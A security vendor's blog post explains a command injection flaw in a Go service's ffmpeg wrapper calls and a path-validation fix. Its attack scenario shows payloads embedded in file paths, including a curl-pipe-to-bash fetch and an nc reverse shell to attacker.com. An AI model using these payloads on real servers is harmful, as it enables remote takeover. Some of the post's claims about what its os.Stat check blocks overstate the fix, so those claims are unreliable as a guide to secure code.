Back to Blog
critical SEVERITY9 min read

How command injection happens in Go ffmpeg wrappers and how to fix it

A critical command injection vulnerability was discovered in `drivers/local/util.go` where user-influenced file paths were passed directly to `ffmpeg.Input()` without any sanitization. Because many ffmpeg wrapper libraries construct shell command strings under the hood, an attacker could embed shell metacharacters in a file path to execute arbitrary OS commands with server-level privileges. The fix introduces a `sanitizeFilePath()` function that validates paths are absolute, clean, and point to

O
By Orbis AppSec
Published June 6, 2026Reviewed June 6, 2026

Answer Summary

This is a critical OS command injection vulnerability (CWE-78) in Go, found in `drivers/local/util.go` at lines 72 and 168. User-controlled file paths (`inputFile` and `videoPath`) were passed directly to `ffmpeg.Input()` without sanitization, allowing shell metacharacters in file names to execute arbitrary OS commands. The fix adds a `sanitizeFilePath()` function that enforces absolute paths, applies `filepath.Clean()`, and verifies the target is a real regular file before passing it to the ffmpeg wrapper.

Vulnerability at a Glance

cweCWE-78
fixAdded sanitizeFilePath() to enforce absolute, cleaned, regular-file paths before ffmpeg invocation
riskArbitrary OS command execution with server process privileges
languageGo
root causeUser-controlled file paths passed directly to ffmpeg.Input() without validation or sanitization
vulnerabilityOS Command Injection via unsanitized file path

How command injection happens in Go ffmpeg wrappers and how to fix it

Summary

A critical command injection vulnerability was discovered in drivers/local/util.go where user-influenced file paths were passed directly to ffmpeg.Input() without any sanitization. Because many ffmpeg wrapper libraries construct shell command strings under the hood, an attacker could embed shell metacharacters in a file path to execute arbitrary OS commands with server-level privileges. The fix introduces a sanitizeFilePath() function that validates paths are absolute, clean, and point to real regular files before they ever reach the ffmpeg invocation.


Introduction

The drivers/local/util.go file handles media processing tasks — resizing images and generating video snapshots — using a Go ffmpeg wrapper library. At first glance, passing a file path to ffmpeg.Input() looks harmless. It's just a string, right? But a flaw in both resizeImageToBufferWithFFmpegGo() and GetSnapshot() created a critical attack surface: user-influenced paths like inputFile and videoPath were forwarded directly to the ffmpeg wrapper with zero validation.

This matters to any Go developer using ffmpeg wrapper libraries, because the danger is subtle. You're not calling exec.Command() yourself — the library does it for you. And if that library constructs a shell string internally (which is common in ffmpeg wrappers that invoke the ffmpeg binary), then shell metacharacters in a file name become executable commands.


The Vulnerability Explained

What went wrong

At lines 72 and 168 of drivers/local/util.go, two functions accepted file path strings and passed them directly to ffmpeg.Input():

// VULNERABLE — before the fix
func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    // ... no validation of inputFile ...
    err := ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()
}

And similarly in GetSnapshot():

// VULNERABLE — before the fix
func (d *Local) GetSnapshot(videoPath string) (*bytes.Buffer, error) {
    // videoPath passed directly to ffmpeg.Input() at line 168
}

The inputFile and videoPath variables are user-influenced — they originate from file system paths that can be shaped by user input (file uploads, API parameters, or path-derived values). Neither function performed any check on whether the path was absolute, clean, or free of special characters.

Why ffmpeg wrappers are dangerous with raw input

Many Go ffmpeg wrapper libraries (including ffmpeg-go) work by constructing a command-line invocation of the ffmpeg binary and running it via exec. When the library builds that command string, a file path like:

/uploads/video.mp4

becomes something internally like:

ffmpeg -i /uploads/video.mp4 ...

But what if the path is:

/uploads/video.mp4; curl http://attacker.com/shell.sh | bash

If the library passes this through a shell (e.g., via /bin/sh -c "ffmpeg -i /uploads/video.mp4; curl ..."), the semicolon terminates the ffmpeg command and the second command executes. The result: arbitrary OS command execution with the privileges of the server process.

A concrete attack scenario

Imagine this application exposes a video thumbnail endpoint. An attacker crafts a request where the video path resolves to:

/var/app/uploads/$(whoami > /tmp/pwned).mp4

or uses a newline/semicolon injection:

/var/app/uploads/legit.mp4\n/bin/bash -c 'nc attacker.com 4444 -e /bin/bash'

When GetSnapshot() receives this path and passes it to ffmpeg.Input() without sanitization, the embedded command runs on the server. Since media processing services often run with elevated privileges (to access the filesystem broadly), this could mean full server compromise — reading database credentials, exfiltrating user data, or establishing a persistent backdoor.

The real-world impact here is severe: any attacker who can influence the file path argument to these two functions can execute arbitrary commands on the server.


The Fix

The new sanitizeFilePath() function

The fix introduces a dedicated validation function added just before resizeImageToBufferWithFFmpegGo() in util.go:

// sanitizeFilePath validates and sanitizes a file path before passing it to external commands.
// It ensures the path is absolute, clean, and refers to an existing regular file,
// preventing path traversal and command injection via shell metacharacters.
func sanitizeFilePath(path string) (string, error) {
    cleaned := filepath.Clean(path)
    if !filepath.IsAbs(cleaned) {
        return "", fmt.Errorf("file path must be absolute: %s", path)
    }
    info, err := os.Stat(cleaned)
    if err != nil {
        return "", fmt.Errorf("file path is not accessible: %w", err)
    }
    if !info.Mode().IsRegular() {
        return "", fmt.Errorf("path is not a regular file: %s", cleaned)
    }
    return cleaned, nil
}

This function does three things in sequence:

  1. filepath.Clean(path) — Resolves ., .., double slashes, and other path anomalies. This eliminates path traversal tricks like /uploads/../../etc/passwd.
  2. filepath.IsAbs(cleaned) — Rejects any relative path. Relative paths are harder to reason about and easier to manipulate.
  3. os.Stat(cleaned) + info.Mode().IsRegular() — Verifies the path actually exists on disk and is a regular file (not a symlink, device file, named pipe, or directory). This prevents attacks using special file types.

Before and after

Before (vulnerable):

func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    outBuffer := bytes.NewBuffer(nil)
    // inputFile flows directly to ffmpeg with no checks
    err := ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()

After (fixed):

func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    sanitized, err := sanitizeFilePath(inputFile)
    if err != nil {
        return nil, fmt.Errorf("invalid input file path: %w", err)
    }
    inputFile = sanitized

    outBuffer := bytes.NewBuffer(nil)
    // inputFile is now guaranteed to be absolute, clean, and a real regular file
    err = ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()

Notice also the subtle fix to the err variable: the original code declared err := inside the function (after outBuffer was created), but after the fix, sanitized, err := is declared first and the ffmpeg call uses err = (assignment, not declaration) to avoid shadowing. This is a clean, idiomatic Go change.

Why this specific fix works

Shell metacharacters like ;, |, $(), backticks, newlines, and null bytes cannot survive this validation intact in a way that would cause harm. A path containing ; rm -rf / would fail filepath.IsAbs() or os.Stat() because the resulting "cleaned" path won't exist as a real file on disk. A path containing $(command) would similarly fail the os.Stat() check. The validation acts as a gate: only paths that correspond to actual, existing, regular files on disk are allowed through.


Prevention & Best Practices

1. Always sanitize before passing paths to external process wrappers

Any time user-influenced data flows into a library that internally invokes system commands, treat it as untrusted input. Apply the same rigor you would to SQL parameters or shell arguments.

2. Prefer argument-array APIs over shell-string APIs

If you have a choice between a library that builds a shell string and one that passes arguments as a []string slice to exec.Command directly, choose the latter. Shell interpretation is where injection happens.

3. Use filepath.Clean() and filepath.IsAbs() together

Neither alone is sufficient. filepath.Clean() without filepath.IsAbs() still allows relative paths. filepath.IsAbs() without filepath.Clean() still allows .. traversal in the middle of an absolute path.

4. Validate that the file exists and is the right type

os.Stat() + info.Mode().IsRegular() is a simple, effective check that eliminates symlink attacks, device file attacks, and FIFO-based injection vectors.

5. Apply allowlist-based path restrictions where possible

If your application only processes files from a specific upload directory, add a check that the cleaned absolute path has the expected prefix:

if !strings.HasPrefix(cleaned, "/var/app/uploads/") {
    return "", fmt.Errorf("path outside allowed directory: %s", cleaned)
}

6. Relevant standards


Key Takeaways

  • Never pass user-influenced file paths to ffmpeg.Input() (or any process wrapper) without first calling sanitizeFilePath() — the wrapper may construct a shell string internally, making your path argument a command injection vector.
  • filepath.Clean() alone is not enough — you must also verify the path is absolute (filepath.IsAbs()) and that it refers to a real, regular file (os.Stat() + IsRegular()), or attackers can still exploit relative paths and special file types.
  • Both resizeImageToBufferWithFFmpegGo() and GetSnapshot() were affected — when a validation gap exists, it tends to exist in every function that shares the same pattern; audit all call sites, not just the one flagged.
  • The Go err variable shadowing was also quietly fixed — the original err := declaration inside the function body would have caused a compile error after adding the sanitization block; the fix correctly restructures variable declarations.
  • Media processing pipelines are a high-value injection target — they routinely handle user-supplied filenames, invoke system binaries, and run with broad filesystem access, making them a priority for input validation hardening.

How Orbis AppSec Detected This

  • Source: User-influenced file path values (inputFile in resizeImageToBufferWithFFmpegGo() and videoPath in GetSnapshot()) originating from caller-supplied arguments that trace back to user-controlled input.
  • Sink: ffmpeg.Input(inputFile) at drivers/local/util.go:72 and ffmpeg.Input(videoPath) at line 168 — a go-ffmpeg wrapper call that internally constructs and executes a shell command using the provided path string.
  • Missing control: No path sanitization, no absolute-path enforcement, no existence check, and no regular-file type verification before the value reached the ffmpeg invocation.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: A new sanitizeFilePath() function was introduced that applies filepath.Clean(), enforces absolute paths with filepath.IsAbs(), and verifies file existence and type with os.Stat() before any path reaches ffmpeg.Input().

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Command injection through file paths is one of those vulnerabilities that hides in plain sight. The code in drivers/local/util.go wasn't doing anything obviously wrong — it was just passing a string to a library function. But that library function invokes a system binary, and that binary invocation can be hijacked by shell metacharacters in the string. The lesson is clear: any boundary between your Go code and an external process is a potential injection point, and every path crossing that boundary needs validation.

The sanitizeFilePath() function added in this fix is a reusable, idiomatic Go pattern that every media processing service should adopt. It's small (under 15 lines), easy to understand, and provides defense-in-depth against both command injection and path traversal in a single pass. If your codebase uses ffmpeg wrappers, video transcoding libraries, or any other tool that shells out with user-supplied paths, audit those call sites today.


References

Frequently Asked Questions

What is OS command injection?

OS command injection (CWE-78) occurs when user-controlled input is incorporated into a system command without proper sanitization, allowing attackers to append or inject shell metacharacters that cause the system to execute unintended commands.

How do you prevent command injection in Go?

Always validate and sanitize file paths before passing them to external process wrappers. Use filepath.Clean() and filepath.IsAbs(), verify the file exists and is a regular file with os.Stat(), and prefer APIs that accept argument arrays rather than shell strings.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is escaping shell metacharacters enough to prevent command injection?

No. Escaping is error-prone and library-dependent. The safer approach is strict path validation (absolute path, clean path, real regular file) combined with libraries that pass arguments as arrays rather than shell strings, eliminating the shell interpretation layer entirely.

Can static analysis detect command injection in Go?

Yes. Tools like Semgrep, gosec, and multi-agent AI scanners (like the one that found this issue) can trace tainted data from user input to dangerous sinks like exec calls or ffmpeg wrapper inputs. This vulnerability was detected automatically by the Orbis AppSec multi_agent_ai scanner.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #9485

Related Articles

critical

How command injection happens in Java Runtime.exec() and how to fix it

A critical command injection vulnerability was discovered in `ProcessUtils.java` where process IDs were concatenated directly into shell command strings passed to `Runtime.getRuntime().exec(String)`. This allowed shell metacharacter injection that could execute arbitrary commands. The fix switches to the array-based `exec(String[])` overload, which bypasses shell interpretation entirely.

critical

How command injection via shell metacharacter escaping happens in Node.js and how to fix it

A critical command injection vulnerability was discovered in the GameBanana provider module where the `quoteCommandArgument()` function only escaped double quotes, leaving shell metacharacters like `$()`, backticks, and other dangerous patterns exploitable. Attackers could craft malicious mod URLs on GameBanana containing shell commands that would execute when users viewed the content. The fix switches from double-quote to single-quote escaping, which prevents shell interpretation of metacharact

critical

How command injection via execSync() happens in Node.js CLI tools and how to fix it

A critical command injection vulnerability was discovered in `packages/core/bin/cli.js` where the `copyToClipboard` function used `execSync()` with shell command strings. Combined with insufficient filename sanitization in the cache functions, an attacker could inject arbitrary shell commands through malicious repository data containing shell metacharacters. The fix replaces `execSync()` with `execFileSync()` and tightens input sanitization on cache file paths.

high

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

high

How command injection happens in Ruby backticks and how to fix it

A Jekyll plugin used unsafe Ruby backticks to execute a `git log` command with an unescaped file path, creating a command injection vulnerability. By switching to `Open3.capture2()` with argument array syntax, the fix prevents shell interpretation and eliminates the attack surface entirely.

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.